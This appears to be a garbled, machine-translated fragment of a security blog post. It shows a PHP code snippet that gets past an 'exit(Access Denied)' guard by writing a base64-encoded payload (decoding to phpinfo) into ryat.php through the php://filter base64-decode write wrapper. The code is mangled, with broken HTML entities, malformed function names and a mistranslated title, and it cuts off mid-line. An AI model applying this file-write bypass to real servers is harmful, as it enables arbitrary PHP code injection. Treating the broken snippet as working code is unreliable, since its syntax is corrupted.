To bypass the <? PHP exit('Access Denied'); ?> Limit-vulnerability warning-the black bar safety net

To bypass ? PHP exit’Access Denied’; ?& gt; limit ? php $shellcode=’PD9waHBpbmZvKCk7Pz4’;// base64decode ? phpinfo;?& gt; $endstr=’s’; $timestamp=$endstr.$ shellcode; fileputcontents"php://filter/write=convert.base64-decode/resource=ryat.php","? PHP exit’Access Denied’; ?& gt;\t$timestamp"; ?& gt...